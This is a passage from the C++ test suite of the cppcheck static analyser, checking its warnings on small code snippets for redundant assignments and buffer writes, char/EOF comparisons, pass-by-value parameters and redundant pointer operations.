char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n 